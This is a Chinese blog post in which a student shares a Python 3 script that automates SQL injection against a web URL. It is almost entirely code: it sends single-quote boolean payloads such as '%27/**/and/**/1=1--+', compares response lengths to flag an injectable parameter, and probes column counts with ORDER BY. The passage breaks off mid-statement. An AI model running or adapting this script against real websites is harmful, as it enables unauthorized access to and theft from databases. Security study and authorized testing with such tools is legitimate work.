写了一个python3注入sql的脚本
临近毕业,尝试写一些自动注入和自动扫描的脚本
发现还是不够自动
后面我再改改。现在脖子疼
实现效果
代码如下:
import requests
from bs4 import BeautifulSoup
from colorama import init, Fore, Back, Style
import sys
import time
import urllib.parse
import re
from prettytable import PrettyTable
init(autoreset=True)
class Colored(object):
# 前景色:红色 背景色:默认
def red(self, s):
return Fore.RED + s + Fore.RESET
# 前景色:绿色 背景色:默认
def green(self, s):
return Fore.GREEN + s + Fore.RESET
# 前景色:黄色 背景色:默认
def yellow(self, s):
return Fore.YELLOW + s + Fore.RESET
# 前景色:蓝色 背景色:默认
def blue(self, s):
return Fore.BLUE + s + Fore.RESET
# 前景色:洋红色 背景色:默认
def magenta(self, s):
return Fore.MAGENTA + s + Fore.RESET
# 前景色:青色 背景色:默认
def cyan(self, s):
return Fore.CYAN + s + Fore.RESET
# 前景色:白色 背景色:默认
def white(self, s):
return Fore.WHITE + s + Fore.RESET
# 前景色:黑色 背景色:默认
def black(self, s):
return Fore.BLACK
# 前景色:白色 背景色:绿色
def white_green(self, s):
return Fore.WHITE + Back.GREEN + s + Fore.RESET + Back.RESET
color = Colored()
def single_quotes_injection(url, param_dict, no_param_url): # 单引号注入
if len(param_dict) == 1:
payload_one = url + "%27/**/and/**/1=1--+" # 一定正确的payload
payload_two = url + "%27/**/and/**/1=2--+" # 是否报错的payload
print(
color.white("[")
+ color.blue(time.strftime("%H:%M:%S"))
+ color.white("]")
+ color.white("[")
+ color.magenta("payload")
+ color.white("]")
+ color.white("正在执行")
+ color.green(payload_one)
)
print(
color.white("[")
+ color.blue(time.strftime("%H:%M:%S"))
+ color.white("]")
+ color.white("[")
+ color.magenta("payload")
+ color.white("]")
+ color.white("正在执行")
+ color.green(payload_two)
)
# print(payload_one)
response_one = requests.get(payload_one)
response_two = requests.get(payload_two)
if response_one.status_code != 200:
print(color.red("该网站可能部署了waf"))
# soup_one = BeautifulSoup(response_one.content,'html.parser')
# soup_two = BeautifulSoup(response_two.content,'html.parser')
if len(response_one.text) != len(response_two.text): # 判断是否报错,报错则爆出是sql注入漏洞
print(
color.white("[")
+ color.blue(time.strftime("%H:%M:%S"))
+ color.white("]")
+ color.white("[")
+ color.green("INFO")
+ color.white("]")
+ color.yellow("可能存在sql注入漏洞\n")
+ color.white("[")
+ color.blue(time.strftime("%H:%M:%S"))
+ color.white("]")
+ color.white("[")
+ color.magenta("payload")
+ color.white("]")
+ color.green(payload_one)
+ color.white("\n[")
+ color.blue(time.strftime("%H:%M:%S"))
+ color.white("]")
+ color.white("[")
+ color.magenta("payload")
+ color.white("]")
+ color.green(payload_two)
)
print(
color.white("[")
+ color.blue(time.strftime("%H:%M:%S"))
+ color.white("]")
+ color.white("[")
+ color.green("INFO")
+ color.white("]")
+ color.yellow("正在判断是否有回显")
)
response = requests.get(
url + "%27/**/order/**/by/**/1--+"
) # 通过order by 判断漏洞是否有回显 这是一定正确的response
for i in range(1, 15):
response = requests.get(url + "%27/**/order/**/by/**/" + str(i) + "--+")
# print(len(response.text))
if len(response_one.text) != len(
response.text
): # 判断谁是第一个长度改变的响应体 判断谁是报错的值,如果都没有报错,证明不是报错注入
column_num = i
break
if i == 14: # 判断的长度为14
column_num = 0
if column_num == 0: # 判断是否回显
print(
color.white("[")
+ color.blue(time.strftime("%H:%M:%S"))
+ color.white("]")
+ color.white("[")
+ color.green("INFO")
+ color.white("]")
+ color.red("未开启mysql_error()报错 可以尝试盲注")
)
else:
print(
color.white("[")
+ color.blue(time.strftime("%H:%M:%S"))
+ color.white("]")
+ color.white("[")
+ color.green("INFO")
+ color.white